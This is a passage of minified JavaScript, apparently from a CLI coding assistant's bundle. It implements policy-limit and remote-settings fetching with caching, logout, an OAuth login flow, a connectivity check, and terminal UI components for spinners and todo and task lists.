KR6();if(Gd())m$2();if(A!==null)U_(),a_.notifyChange("policySettings")}finally{if(_d)_d(),_d=null}}async function Gt7(){if(AR6(),!Gd()){U_(),a_.notifyChange("policySettings");return}await KR6(),h("Remote settings: Refreshed after auth change"),U_(),a_.notifyChange("policySettings")}async function B$2(){if(!Gd())return;let A=Gv?UA(Gv):null;try{if(await KR6(),(Gv?UA(Gv):null)!==A)h("Remote settings: Changed during background poll"),U_(),a_.notifyChange("policySettings")}catch{}}function m$2(){if(UFA!==null)return;if(!Gd())return;UFA=setInterval(()=>{B$2()},R$2),kK(async()=>Zt7())}function Zt7(){if(UFA!==null)clearInterval(UFA),UFA=null}var C$2="remote-settings.json",L$2=1e4,aL6=5,R$2=3600000,UFA=null,G3A=null,_d=null,y$2=30000,Gv=null;var ujA=k(()=>{n3();JG();Z1();uz();x4();rU();as7();l6();IH();YK();Xw();q5A();aU();ci();R2();Ht7();b1()});var YR6;var Wt7=k(()=>{z7();YR6=U.object({restrictions:U.record(U.string(),U.object({allowed:U.boolean()}))})});import{join as g$2}from"path";import{createHash as F$2}from"crypto";import{readFileSync as Q$2,unlinkSync as jt7}from"fs";function U$2(A){return A instanceof Error}function Mt7(){if(Z3A)return;if(lB())Z3A=new Promise((A)=>{Zd=A,setTimeout(()=>{if(Zd)h("Policy limits: Loading promise timed out, resolving anyway"),Zd(),Zd=null},l$2)})}function WM1(){return g$2(w8(),p$2)}function i$2(){return`${E7().BASE_API_URL}/api/claude_code/policy_limits`}function wR6(A){if(Array.isArray(A))return A.map(wR6);if(A!==null&&typeof A==="object"){let K={};for(let[q,Y]of Object.entries(A).sort(([z],[w])=>z.localeCompare(w)))K[q]=wR6(Y);return K}return A}function n$2(A){let K=wR6(A),q=UA(K);return`sha256:${F$2("sha256").update(q).digest("hex")}`}function lB(){if(c7()!=="firstParty")return!1;if(!pJA())return!1;try{let{key:K}=z0({skipRetrievingKeyFromApiKeyHelper:!0});if(K)return!0}catch{}let A=LK();if(!A?.accessToken)return!1;if(!A.scopes?.includes(Ab))return!1;if(A.subscriptionType!=="enterprise")return!1;return!0}async function HR6(){if(Z3A)await Z3A}function r$2(){try{let{key:K}=z0({skipRetrievingKeyFromApiKeyHelper:!0});if(K)return{headers:{"x-api-key":K}}}catch{}let A=LK();if(A?.accessToken)return{headers:{Authorization:`Bearer ${A.accessToken}`,"anthropic-beta":LE}};return{headers:{},error:"No authentication available"}}async function o$2(A){let K=null;for(let q=1;q<=zR6+1;q++){if(K=await a$2(A),K.success)return K;if(K.skipRetry)return K;if(q>zR6)return K;let Y=xp(q);h(`Policy limits: Retry ${q}/${zR6} after ${Y}ms`),await Iu(Y)}return K}async function a$2(A){try{await rZ();let K=r$2();if(K.error)return{success:!1,error:"Authentication required for policy limits",skipRetry:!0};let q=i$2(),Y={...K.headers,"User-Agent":uH()};if(A)Y["If-None-Match"]=`"${A}"`;let z=await A8.get(q,{headers:Y,timeout:d$2,validateStatus:(H)=>H===200||H===304||H===404});if(z.status===304)return h("Policy limits: Using cached restrictions (304)"),{success:!0,restrictions:null,etag:A};if(z.status===404)return h("Policy limits: No restrictions found (404)"),{success:!0,restrictions:{},etag:void 0};let w=YR6.safeParse(z.data);if(!w.success)return h(`Policy limits: Invalid response format - ${w.error.message}`),{success:!1,error:"Invalid policy limits format"};return h("Policy limits: Fetched successfully"),{success:!0,restrictions:w.data.restrictions}}catch(K){if(A8.isAxiosError(K)){if(K.response?.status===401||K.response?.status===403)return{success:!1,error:"Not authorized for policy limits",skipRetry:!0};if(K.code==="ECONNABORTED")return{success:!1,error:"Policy limits request timeout"};if(K.code==="ECONNREFUSED"||K.code==="ENOTFOUND")return{success:!1,error:"Cannot connect to server"}}return{success:!1,error:K instanceof Error?K.message:"Unknown error"}}}function Pt7(){try{let A=Q$2(WM1(),"utf-8"),K=P3(A,!1),q=YR6.safeParse(K);if(!q.success)return null;return q.data.restrictions}catch{return null}}function s$2(A){try{let K=WM1();Hf(K,UA({restrictions:A},null,2),{encoding:"utf-8",mode:384}),h(`Policy limits: Saved to ${K}`)}catch(K){h(`Policy limits: Failed to save - ${K instanceof Error?K.message:"unknown error"}`)}}async function JR6(){if(!lB())return null;let A=Pt7(),K=A?n$2(A):void 0;try{let q=await o$2(K);if(!q.success){if(A)return h("Policy limits: Using stale cache after fetch failure"),Zv=A,A;return null}if(q.restrictions===null&&A)return h("Policy limits: Cache still valid (304 Not Modified)"),Zv=A,A;let Y=q.restrictions||{};if(Object.keys(Y).length>0)return Zv=Y,s$2(Y),h("Policy limits: Applied new restrictions successfully"),Y;Zv=Y;try{jt7(WM1()),h("Policy limits: Deleted cached file (404 response)")}catch(w){if(U$2(w)&&w.code!=="ENOENT")h(`Policy limits: Failed to delete cached file - ${w.message}`)}return Y}catch{if(A)return h("Policy limits: Using stale cache after error"),Zv=A,A;return null}}function HP(A){let K=t$2();if(!K)return!0;let q=K[A];if(!q)return!0;return q.allowed}function t$2(){if(!lB())return null;if(Zv)return Zv;let A=Pt7();if(A)return Zv=A,A;return null}async function Vt7(){if(lB()&&!Z3A)Z3A=new Promise((A)=>{Zd=A});try{if(await JR6(),lB())A_2()}finally{if(Zd)Zd(),Zd=null}}async function ft7(){if(OR6(),!lB())return;await JR6(),h("Policy limits: Refreshed after auth change")}function OR6(){Nt7(),Zv=null,Z3A=null,Zd=null;try{jt7(WM1())}catch{}}async function e$2(){if(!lB())return;let A=Zv?UA(Zv):null;try{if(await JR6(),(Zv?UA(Zv):null)!==A)h("Policy limits: Changed during background poll")}catch{}}function A_2(){if(pFA!==null)return;if(!lB())return;if(pFA=setInterval(()=>{e$2()},c$2),!Dt7)Dt7=!0,kK(async()=>Nt7())}function Nt7(){if(pFA!==null)clearInterval(pFA),pFA=null}var p$2="policy-limits.json",d$2=1e4,zR6=5,c$2=3600000,pFA=null,Dt7=!1,Z3A=null,Zd=null,l$2=30000,Zv=null;var CS=k(()=>{n3();JG();Z1();uz();x4();Wt7();l6();IH();YK();Xw();q5A();aU();R2();b1()});async function $R6({clearOnboarding:A=!1}){await ns7(),await vt7(),ff().delete(),DM1(),D6((q)=>{let Y={...q};if(A){if(Y.hasCompletedOnboarding=!1,Y.subscriptionNoticeCount=0,Y.hasAvailableSubscription=!1,Y.customApiKeyResponses?.approved)Y.customApiKeyResponses={...Y.customApiKeyResponses,approved:[]}}return Y.oauthAccount=void 0,Y})}var XR6,DM1=()=>{LK.cache?.clear?.(),D91(),Vb7(),Ir.cache?.clear?.(),Et7(),os.cache?.clear?.(),AR6(),OR6()},Tt7;var jM1=k(()=>{i6();mA();x4();x$1();ok();ns();kx();Sw();QDA();nL6();ujA();CS();B7();XR6=o($A(),1);Tt7={type:"local-jsx",name:"logout",description:"Sign out from your Anthropic account",isEnabled:()=>!process.env.DISABLE_LOGOUT_COMMAND,isHidden:!1,async call(){await $R6({clearOnboarding:!0});let A=XR6.createElement(V,null,"Successfully logged out from your Anthropic account.");return setTimeout(()=>{Y5(0,"logout")},200),A},userFacingName(){return"logout"}}});class dFA{codeVerifier;authCodeListener=null;port=null;manualAuthCodeResolver=null;constructor(){this.codeVerifier=II7()}async startOAuthFlow(A,K){this.authCodeListener=new vT6,this.port=await this.authCodeListener.start();let q=SI7(this.codeVerifier),Y=hI7(),z={codeChallenge:q,state:Y,port:this.port,loginWithClaudeAi:K?.loginWithClaudeAi,inferenceOnly:K?.inferenceOnly,orgUUID:K?.orgUUID},w=E36({...z,isManual:!0}),H=E36({...z,isManual:!1}),J=await this.waitForAuthorizationCode(Y,async()=>{await A(w),await MY(H)}),O=this.authCodeListener?.hasPendingResponse()??!1;n("tengu_oauth_auth_code_received",{automatic:O});try{let X=await $y4(J,Y,this.codeVerifier,this.port,!O,K?.expiresIn);await $R6({clearOnboarding:!1});let $=await C36(X.access_token);if(X.account)L36({accountUuid:X.account.uuid,emailAddress:X.account.email_address,organizationUuid:X.organization?.uuid,displayName:$.displayName,hasExtraUsageEnabled:$.hasExtraUsageEnabled??void 0});if(O){let _=G91(X.scope);this.authCodeListener?.handleSuccessRedirect(_)}return this.formatTokens(X,$.subscriptionType,$.rateLimitTier)}catch(X){if(O)this.authCodeListener?.handleErrorRedirect();throw X}finally{this.authCodeListener?.close()}}async waitForAuthorizationCode(A,K){return new Promise((q,Y)=>{this.manualAuthCodeResolver=q,this.authCodeListener?.waitForAuthorization(A,K).then((z)=>{this.manualAuthCodeResolver=null,q(z)}).catch((z)=>{this.manualAuthCodeResolver=null,Y(z)})})}handleManualAuthCodeInput(A){if(this.manualAuthCodeResolver)this.manualAuthCodeResolver(A.authorizationCode),this.manualAuthCodeResolver=null,this.authCodeListener?.close()}formatTokens(A,K,q){return{accessToken:A.access_token,refreshToken:A.refresh_token,expiresAt:Date.now()+A.expires_in*1000,scopes:G91(A.scope),subscriptionType:K,rateLimitTier:q}}cleanup(){this.authCodeListener?.close(),this.manualAuthCodeResolver=null}}var _R6=k(()=>{nD();yI7();bI7();LT();jM1();l1()});async function K_2(){try{if(P1(process.env.CLAUDE_CODE_USE_BEDROCK)||P1(process.env.CLAUDE_CODE_USE_VERTEX)||P1(process.env.CLAUDE_CODE_USE_FOUNDRY))return!0;return await A8.get("https://api.anthropic.com/api/hello",{timeout:5000,headers:{"Cache-Control":"no-cache"}}),!0}catch(A){if(!(A instanceof T68))return!0;return A.code!=="EHOSTUNREACH"}}function GR6(){let[A,K]=MM1.useState(null);return MM1.useEffect(()=>{let q=!0;if(process.env.CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC)return;let Y=async()=>{if(!q)return;let w=await K_2();if(q)K(w)};Y();let z=setInterval(Y,q_2);return()=>{q=!1,clearInterval(z)}},[]),{isConnected:A}}var MM1,q_2=30000;var kt7=k(()=>{n3();l6();MM1=o($A(),1)});class BjA{activeOperations=new Set;lastUserActivityTime=0;lastCLIRecordedTime=Date.now();isCLIActive=!1;USER_ACTIVITY_TIMEOUT_MS=5000;static instance=null;static getInstance(){if(!BjA.instance)BjA.instance=new BjA;return BjA.instance}recordUserActivity(){if(!this.isCLIActive&&this.lastUserActivityTime!==0){let K=(Date.now()-this.lastUserActivityTime)/1000;if(K>0){let q=ZR1();if(q){let Y=this.USER_ACTIVITY_TIMEOUT_MS/1000;if(K<Y)q.add(K,{type:"user"})}}}this.lastUserActivityTime=Date.now()}startCLIActivity(A){if(this.activeOperations.has(A))this.endCLIActivity(A);let K=this.activeOperations.size===0;if(this.activeOperations.add(A),K)this.isCLIActive=!0,this.lastCLIRecordedTime=Date.now()}endCLIActivity(A){if(this.activeOperations.delete(A),this.activeOperations.size===0){let K=Date.now(),q=(K-this.lastCLIRecordedTime)/1000;if(q>0){let Y=ZR1();if(Y)Y.add(q,{type:"cli"})}this.lastCLIRecordedTime=K,this.isCLIActive=!1}}async trackOperation(A,K){this.startCLIActivity(A);try{return await K()}finally{this.endCLIActivity(A)}}getActivityStates(){return{isUserActive:(Date.now()-this.lastUserActivityTime)/1000<this.USER_ACTIVITY_TIMEOUT_MS/1000,isCLIActive:this.isCLIActive,activeOperationCount:this.activeOperations.size}}}var cFA;var ZR6=k(()=>{q6();cFA=BjA.getInstance()});function Ct7(){let K=yq().spinnerVerbs;if(!K)return WR6;if(K.mode==="replace")return K.verbs.length>0?K.verbs:WR6;return[...WR6,...K.verbs]}var WR6;var Lt7=k(()=>{I8();WR6=["Accomplishing","Actioning","Actualizing","Architecting","Baking","Beaming","Beboppin'","Befuddling","Billowing","Blanching","Bloviating","Boogieing","Boondoggling","Booping","Bootstrapping","Brewing","Burrowing","Calculating","Canoodling","Caramelizing","Cascading","Catapulting","Cerebrating","Channeling","Channelling","Choreographing","Churning","Clauding","Coalescing","Cogitating","Combobulating","Composing","Computing","Concocting","Considering","Contemplating","Cooking","Crafting","Creating","Crunching","Crystallizing","Cultivating","Deciphering","Deliberating","Determining","Dilly-dallying","Discombobulating","Doing","Doodling","Drizzling","Ebbing","Effecting","Elucidating","Embellishing","Enchanting","Envisioning","Evaporating","Fermenting","Fiddle-faddling","Finagling","Flambéing","Flibbertigibbeting","Flowing","Flummoxing","Fluttering","Forging","Forming","Frolicking","Frosting","Gallivanting","Galloping","Garnishing","Generating","Germinating","Gitifying","Grooving","Gusting","Harmonizing","Hashing","Hatching","Herding","Honking","Hullaballooing","Hyperspacing","Ideating","Imagining","Improvising","Incubating","Inferring","Infusing","Ionizing","Jitterbugging","Julienning","Kneading","Leavening","Levitating","Lollygagging","Manifesting","Marinating","Meandering","Metamorphosing","Misting","Moonwalking","Moseying","Mulling","Mustering","Musing","Nebulizing","Nesting","Newspapering","Noodling","Nucleating","Orbiting","Orchestrating","Osmosing","Perambulating","Percolating","Perusing","Philosophising","Photosynthesizing","Pollinating","Pondering","Pontificating","Pouncing","Precipitating","Prestidigitating","Processing","Proofing","Propagating","Puttering","Puzzling","Quantumizing","Razzle-dazzling","Razzmatazzing","Recombobulating","Reticulating","Roosting","Ruminating","Sautéing","Scampering","Schlepping","Scurrying","Seasoning","Shenaniganing","Shimmying","Simmering","Skedaddling","Sketching","Slithering","Smooshing","Sock-hopping","Spelunking","Spinning","Sprouting","Stewing","Sublimating","Swirling","Swooping","Symbioting","Synthesizing","Tempering","Thinking","Thundering","Tinkering","Tomfoolering","Topsy-turvying","Transfiguring","Transmuting","Twisting","Undulating","Unfurling","Unravelling","Vibing","Waddling","Wandering","Warping","Whatchamacalliting","Whirlpooling","Whirring","Whisking","Wibbling","Working","Wrangling","Zesting","Zigzagging"]});function Nt(A){let K=s(10),{todos:q,isStandalone:Y}=A,z=Y===void 0?!1:Y;if(q.length===0)return null;let w;if(K[0]!==q)w=q.map(Y_2),K[0]=q,K[1]=w;else w=K[1];let H;if(K[2]!==w)H=xJ.createElement(xJ.Fragment,null,w),K[2]=w,K[3]=H;else H=K[3];let J=H;if(z){let X;if(K[4]===Symbol.for("react.memo_cache_sentinel"))X=xJ.createElement(V,{bold:!0,dimColor:!0},"Todos"),K[4]=X;else X=K[4];let $;if(K[5]===Symbol.for("react.memo_cache_sentinel"))$=xJ.createElement(S,null,X,xJ.createElement(V,{dimColor:!0}," · ",xJ.createElement(M6,{shortcut:"ctrl+t",action:"hide todos",bold:!0}))),K[5]=$;else $=K[5];let _;if(K[6]!==J)_=xJ.createElement(S,{flexDirection:"column",marginTop:1,marginLeft:2},$,J),K[6]=J,K[7]=_;else _=K[7];return _}let O;if(K[8]!==J)O=xJ.createElement(S,{flexDirection:"column"},J),K[8]=J,K[9]=O;else O=K[9];return O}function Y_2(A,K){let q=A.status==="completed"?eA.checkboxOn:eA.checkboxOff;return xJ.createElement(S,{key:K},xJ.createElement(V,{dimColor:A.status==="completed"},q," "),xJ.createElement(V,{bold:A.status==="in_progress",dimColor:A.status==="completed",strikethrough:A.status==="completed"},A.content))}var xJ;var lFA=k(()=>{cA();mA();g4();nK();xJ=o($A(),1)});function PM1(A,K){let q=parseInt(A.id,10),Y=parseInt(K.id,10);if(!isNaN(q)&&!isNaN(Y))return q-Y;return A.id.localeCompare(K.id)}function VM1({tasks:A,isStandalone:K=!1}){let q=F1((y)=>y.teamContext),Y=F1((y)=>y.tasks),[,z]=gK.useState(0),{rows:w}=f8(),H=w<=10?0:Math.min(10,Math.max(3,w-14)),J=new Set(A.filter((y)=>y.status==="completed").map((y)=>y.id)),O=Date.now();for(let y of J)if(!yt7.has(y))mjA.set(y,O);for(let y of mjA.keys())if(!J.has(y))mjA.delete(y);if(yt7=J,gK.useEffect(()=>{if(mjA.size===0)return;let y=Date.now(),B=1/0;for(let F of mjA.values()){let Q=F+Rt7;if(Q>y&&Q<B)B=Q}if(B===1/0)return;let b=setTimeout(()=>z((F)=>F+1),B-y);return()=>clearTimeout(b)}),!ew())return null;if(A.length===0)return null;let X={};if(b8()&&q?.teammates){for(let y of Object.values(q.teammates))if(y.color){let B=LJ[y.color];if(B)X[y.name]=B}}let $={},_=new Set;if(b8()){for(let y of Object.values(Y))if(W_(y)&&y.status==="running"){_.add(y.identity.agentName),_.add(y.identity.agentId);let B=y.progress?.recentActivities,b=(B&&iqA(B))??y.progress?.lastActivity?.activityDescription;if(b)$[y.identity.agentName]=b,$[y.identity.agentId]=b}}let G=A.filter((y)=>y.status==="completed").length,Z=A.filter((y)=>y.status==="pending").length,W=A.length-G-Z,D=new Set(A.filter((y)=>y.status!=="completed").map((y)=>y.id)),j=[],M=[];for(let y of A.filter((B)=>B.status==="completed")){let B=mjA.get(y.id);if(B&&O-B<Rt7)j.push(y);else M.push(y)}j.sort(PM1),M.sort(PM1);let P=A.filter((y)=>y.status==="in_progress").sort(PM1),f=A.filter((y)=>y.status==="pending").sort((y,B)=>{let b=y.blockedBy.some((Q)=>D.has(Q)),F=B.blockedBy.some((Q)=>D.has(Q));if(b!==F)return b?1:-1;return PM1(y,B)}),N=[...j,...P,...f,...M],T=N.slice(0,H),C=N.slice(H),R="";if(C.length>0){let y=[],B=C.filter((Q)=>Q.status==="pending").length,b=C.filter((Q)=>Q.status==="in_progress").length,F=C.filter((Q)=>Q.status==="completed").length;if(b>0)y.push(`${b} in progress`);if(B>0)y.push(`${B} pending`);if(F>0)y.push(`${F} completed`);R=` … +${y.join(", ")}`}let x=gK.createElement(gK.Fragment,null,T.map((y)=>gK.createElement(w_2,{key:y.id,task:y,ownerColor:y.owner?X[y.owner]:void 0,openBlockers:y.blockedBy.filter((B)=>D.has(B)),activity:y.owner?$[y.owner]:void 0,ownerActive:y.owner?_.has(y.owner):!1})),H>0&&R&&gK.createElement(V,{dimColor:!0},R));if(K)return gK.createElement(S,{flexDirection:"column",marginTop:1,marginLeft:2},gK.createElement(S,null,gK.createElement(V,{dimColor:!0},gK.createElement(V,{bold:!0},A.length)," tasks (",gK.createElement(V,{bold:!0},G)," done, ",W>0&&gK.createElement(gK.Fragment,null,gK.createElement(V,{bold:!0},W)," in progress, "),gK.createElement(V,{bold:!0},Z)," open)"),gK.createElement(V,{dimColor:!0}," · ",gK.createElement(M6,{shortcut:"ctrl+t",action:"hide tasks",bold:!0}))),x);return gK.createElement(S,{flexDirection:"column"},x)}function z_2(A){switch(A){case"completed":return{icon:eA.tick,color:"success"};case"in_progress":return{icon:eA.squareSmallFilled,color:"claude"};case"pending":return{icon:eA.squareSmall,color:void 0}}}function w_2(A){let K=s(28),{task:q,ownerColor:Y,openBlockers:z,activity:w,ownerActive:H}=A,J=q.status==="completed",O=q.status==="in_progress",X=z.length>0,$;if(K[0]!==q.status)$=z_2(q.status),K[0]=q.status,K[1]=$;else $=K[1];let{icon:_,color:G}=$,Z=O&&!X&&w,W;if(K[2]!==G||K[3]!==_)W=gK.createElement(V,{color:G},_," "),K[2]=G,K[3]=_,K[4]=W;else W=K[4];let D=J||X,j;if(K[5]!==J||K[6]!==O||K[7]!==D||K[8]!==q.subject)j=gK.createElement(V,{bold:O,strikethrough:J,dimColor:D},q.subject),K[5]=J,K[6]=O,K[7]=D,K[8]=q.subject,K[9]=j;else j=K[9];let M;if(K[10]!==H||K[11]!==Y||K[12]!==q.owner)M=q.owner&&H&&gK.createElement(V,{dimColor:!0}," (",Y?gK.createElement(V,{color:Y},"@",q.owner):`@${q.owner}`,")"),K[10]=H,K[11]=Y,K[12]=q.owner,K[13]=M;else M=K[13];let P;if(K[14]!==X||K[15]!==z)P=X&&gK.createElement(V,{dimColor:!0}," ",eA.pointerSmall," blocked by"," ",[...z].sort(J_2).map(H_2).join(", ")),K[14]=X,K[15]=z,K[16]=P;else P=K[16];let f;if(K[17]!==W||K[18]!==j||K[19]!==M||K[20]!==P)f=gK.createElement(S,null,W,j,M,P),K[17]=W,K[18]=j,K[19]=M,K[20]=P,K[21]=f;else f=K[21];let N;if(K[22]!==w||K[23]!==Z)N=Z&&gK.createElement(S,null,gK.createElement(V,{dimColor:!0}," ",w,eA.ellipsis)),K[22]=w,K[23]=Z,K[24]=N;else N=K[24];let T;if(K[25]!==f||K[26]!==N)T=gK.createElement(S,{flexDirection:"column"},f,N),K[25]=f,K[26]=N,K[27]=T;else T=K[27];return T}function H_2(A){return`#${A}`}function J_2(A,K){return parseInt(A,10)-parseInt(K,10)}var gK,Rt7=30000,mjA,yt7;var DR6=k(()=>{cA();mA();g4();VJ();A4();aZ();RXA();nK();t9();uK();XB();gK=o($A(),1);mjA=new Map,yt7=new Set});import{watch as O_2,existsSync as X_2}from"fs";function NM1(){let A=F1((q)=>q.teamContext),[,K]=fM1.useState(0);if(fM1.useEffect(()=>{if(!ew()||A&&!sX(A))return;t_6();let q=null,Y=null,z=null,w=null;function H(){let _=JM(),G=OG(_);if(iFA=G,G.some((W)=>W.status!=="completed")||G.length===0){if(gjA=null,q)clearTimeout(q),q=null}else if(gjA===null)gjA=Date.now(),q=setTimeout(()=>{let W=OG(_);if(W.length>0&&W.every((j)=>j.status==="completed"))iq1(_),iFA=[],gjA=null;K((j)=>j+1)},It7);if(K((W)=>W+1),z)clearTimeout(z);z=setTimeout(J,__2)}function J(){if(Y)clearTimeout(Y);Y=setTimeout(H,$_2)}H();let O=XJ4(J),X=JM(),$=Sk(X);if(X_2($))try{w=O_2($,J)}catch{}return()=>{if(O(),w)w.close();if(z)clearTimeout(z);if(Y)clearTimeout(Y);if(q)clearTimeout(q)}},[A]),!iFA||iFA.length===0)return;if(gjA!==null&&Date.now()-gjA>=It7)return;return iFA}var fM1,It7=5000,$_2=50,__2=5000,gjA=null,iFA=void 0;var jR6=k(()=>{VJ();xu();W2();A4();fM1=o($A(),1)});function nFA(){if(process.env.TERM==="xterm-ghostty")return["·","✢","✳","✶","✻","*"];return process.platform==="darwin"?["·","✢","✳","✶","✻","✽"]:["·","✢","*","✶","✻","✽"]}function Wd(A,K,q){return{r:Math.round(A.r+(K.r-A.r)*q),g:Math.round(A.g+(K.g-A.g)*q),b:Math.round(A.b+(K.b-A.b)*q)}}function Tt(A){return`rgb(${A.r},${A.g},${A.b})`}function PR6(A){let K=s(7),{char:q,flashOpacity:Y}=A,z,w;if(K[0]!==Y){let X=Wd({r:215,g:119,b:87},{r:245,g:149,b:117},Y);z=V,w=Tt(X),K[0]=Y,K[1]=z,K[2]=w}else z=K[1],w=K[2];let H;if(K[3]!==z||K[4]!==q||K[5]!==w)H=MR6.createElement(z,{color:w},q),K[3]=z,K[4]=q,K[5]=w,K[6]=H;else H=K[6];return H}var MR6;var VR6=k(()=>{cA();mA();MR6=o($A(),1)});function Dd(A){let K=s(3),{char:q,index:Y,glimmerIndex:z,messageColor:w,shimmerColor:H}=A,J=Y===z,O=Math.abs(Y-z)===1,$=J||O?H:w,_;if(K[0]!==q||K[1]!==$)_=fR6.createElement(V,{color:$},q),K[0]=q,K[1]=$,K[2]=_;else _=K[2];return _}var fR6;var W3A=k(()=>{cA();mA();fR6=o($A(),1)});function NR6(A){let K=s(31),{message:q,mode:Y,isConnected:z,messageColor:w,glimmerIndex:H,flashOpacity:J,shimmerColor:O,stalledIntensity:X}=A,$=X===void 0?0:X;if(!q)return null;if(z===!1){let W;if(K[0]!==q||K[1]!==w)W=Z0.createElement(V,{color:w},q," "),K[0]=q,K[1]=w,K[2]=W;else W=K[2];return W}if($>0){let W;if(K[3]!==$){let T=Wd({r:215,g:119,b:87},{r:171,g:43,b:63},$);W=Tt(T),K[3]=$,K[4]=W}else W=K[4];let D=W,j;if(K[5]!==D||K[6]!==q)j=Z0.createElement(V,{color:D},q),K[5]=D,K[6]=q,K[7]=j;else j=K[7];let M;if(K[8]!==D)M=Z0.createElement(V,{color:D}," "),K[8]=D,K[9]=M;else M=K[9];let P;if(K[10]!==j||K[11]!==M)P=Z0.createElement(Z0.Fragment,null,j,M),K[10]=j,K[11]=M,K[12]=P;else P=K[12];return P}let _;if(K[13]!==J||K[14]!==H||K[15]!==q||K[16]!==w||K[17]!==Y||K[18]!==O){let W;if(K[20]!==J||K[21]!==H||K[22]!==w||K[23]!==Y||K[24]!==O)W=(D,j)=>{if(Y==="tool-use")return Z0.createElement(PR6,{key:j,char:D,flashOpacity:J});else return Z0.createElement(Dd,{key:j,char:D,index:j,glimmerIndex:H,messageColor:w,shimmerColor:O})},K[20]=J,K[21]=H,K[22]=w,K[23]=Y,K[24]=O,K[25]=W;else W=K[25];_=q.split("").map(W),K[13]=J,K[14]=H,K[15]=q,K[16]=w,K[17]=Y,K[18]=O,K[19]=_}else _=K[19];let G;if(K[26]!==w)G=Z0.createElement(V,{color:w}," "),K[26]=w,K[27]=G;else G=K[27];let Z;if(K[28]!==_||K[29]!==G)Z=Z0.createElement(Z0.Fragment,null,_,G),K[28]=_,K[29]=G,K[30]=Z;else Z=K[30];return Z}var Z0;var St7=k(()=>{cA();mA();VR6();W3A();Z0=o($A(),1)});function rFA(A){let K=s(23),{frame:q,messageColor:Y,stalledIntensity:z,isConnected:w}=A,H=z===void 0?0:z,J=bt7[q%bt7.length];if(w===!1){let X;if(K[0]!==Y||K[1]!==J)X=Wv.createElement(S,{flexWrap:"wrap",height:1,width:2},Wv.createElement(V,{color:Y},J)),K[0]=Y,K[1]=J,K[2]=X;else X=K[2];return X}if(H>0){let X,$,_,G,Z,W;if(K[3]!==H){let f=Wd({r:215,g:119,b:87},{r:171,g:43,b:63},H);$=S,G="wrap",Z=1,W=2,X=V,_=Tt(f),K[3]=H,K[4]=X,K[5]=$,K[6]=_,K[7]=G,K[8]=Z,K[9]=W}else X=K[4],$=K[5],_=K[6],G=K[7],Z=K[8],W=K[9];let D;if(K[10]!==X||K[11]!==J||K[12]!==_)D=Wv.createElement(X,{color:_},J),K[10]=X,K[11]=J,K[12]=_,K[13]=D;else D=K[13];let j;if(K[14]!==$||K[15]!==G||K[16]!==Z||K[17]!==W||K[18]!==D)j=Wv.createElement($,{flexWrap:G,height:Z,width:W},D),K[14]=$,K[15]=G,K[16]=Z,K[17]=W,K[18]=D,K[19]=j;else j=K[19];return j}let O;if(K[20]!==Y||K[21]!==J)O=Wv.createElement(S,{flexWrap:"wrap",height:1,width:2},Wv.createElement(V,{color:Y},J)),K[20]=Y,K[21]=J,K[22]=O;else O=K[22];return O}var Wv,ht7,bt7;var TR6=k(()=>{cA();mA();Wv=o($A(),1),ht7=nFA(),bt7=[...ht7,...[...ht7].reverse()]});function LS(A,K,q,Y,z){let w=FjA.useRef(Date.now()),[H,J]=FjA.useState(z??(A==="requesting"?-1:10)),O=FjA.useMemo(()=>{if(A==="requesting")return 50;return 200},[A]);return s9(()=>{if(q===!1||Y)return;let X=Date.now()-w.current,$=Math.floor(X/O),_=K.length,G=_+20;if(A==="requesting"){let Z=$%G-10;J(Z)}else{let Z=_+10-$%G;J(Z)}},O),H}var FjA;var QjA=k(()=>{aO();FjA=o($A(),1)});function vR6(A){let[K,q]=xt7.useState(0);return s9(()=>{if(A==="tool-use")q(()=>{let Y=Date.now()/1000;return(Math.sin(Y*Math.PI)+1)/2});else q(0)},50),K}var xt7;var ut7=k(()=>{aO();xt7=o($A(),1)});function ER6(A,K=!1){let[q,Y]=vt.useState(0),[z,w]=vt.useState(0),H=vt.useRef(A),J=vt.useRef(Date.now());vt.useEffect(()=>{if(A>H.current)Y(0),w(0),H.current=A},[A]),s9(()=>{if(K)Y(0);else if(A>0){if(A===H.current)Y(($)=>$+100)}else{let $=Date.now()-J.current;Y($)}},100);let O=q>3000&&!K,X=O?Math.min((q-3000)/2000,1):0;return s9(()=>{w(($)=>{let _=X,G=_-$;if(Math.abs(G)<0.01)return _;return $+G*0.1})},50),{isStalled:O,stalledIntensity:z}}var vt;var Bt7=k(()=>{aO();vt=o($A(),1)});var mt7=k(()=>{VR6();W3A();St7();TR6();QjA();ut7();Bt7()});function Ft7(A){let K=s(7),{text:q}=A,Y;if(K[0]===Symbol.for("react.memo_cache_sentinel"))Y=Date.now(),K[0]=Y;else Y=K[0];let z=TM1.useRef(Y),[w,H]=TM1.useState(0),J;if(K[1]===Symbol.for("react.memo_cache_sentinel"))J=()=>{let _=Date.now()-z.current;if(_<gt7)return;let G=(_-gt7)/1000;H((Math.sin(G*Math.PI*2/W_2)+1)/2)},K[1]=J;else J=K[1];s9(J,50);let O;if(K[2]!==w)O=Tt(Wd(G_2,Z_2,w)),K[2]=w,K[3]=O;else O=K[3];let X=O,$;if(K[4]!==X||K[5]!==q)$=kR6.createElement(V,{color:X},q),K[4]=X,K[5]=q,K[6]=$;else $=K[6];return $}var kR6,TM1,G_2,Z_2,gt7=3000,W_2=2;var Qt7=k(()=>{cA();mA();aO();kR6=o($A(),1),TM1=o($A(),1),G_2={r:153,g:153,b:153},Z_2={r:185,g:185,b:185}});function dt7({mode:A,elapsedTimeMs:K,spinnerTip:q,currentResponseLength:Y,overrideColor:z,overrideShimmerColor:w,overrideMessage:H,spinnerSuffix:J,verbose:O,todos:X,hasActiveTools:$=!1}){let[_,G]=NW.useState(0),[Z,W]=NW.useState(0),D=F1((B1)=>B1.tasks),j=F1((B1)=>B1.viewingAgentTaskId),M=F1((B1)=>B1.showExpandedTodos),{isConnected:P}=GR6(),{columns:f}=f8(),N=NM1(),[T,C]=NW.useState(null),R=NW.useRef(null);NW.useEffect(()=>{let B1=null,C6=null;if(A==="thinking"){if(R.current===null)R.current=Date.now(),C("thinking")}else if(R.current!==null){let w1=Date.now()-R.current,$1=Date.now()-R.current,N1=Math.max(0,2000-$1);R.current=null;let A6=()=>{C(w1),C6=setTimeout(()=>C(null),2000)};if(N1>0)B1=setTimeout(A6,N1);else A6()}return()=>{if(B1)clearTimeout(B1);if(C6)clearTimeout(C6)}},[A]);let 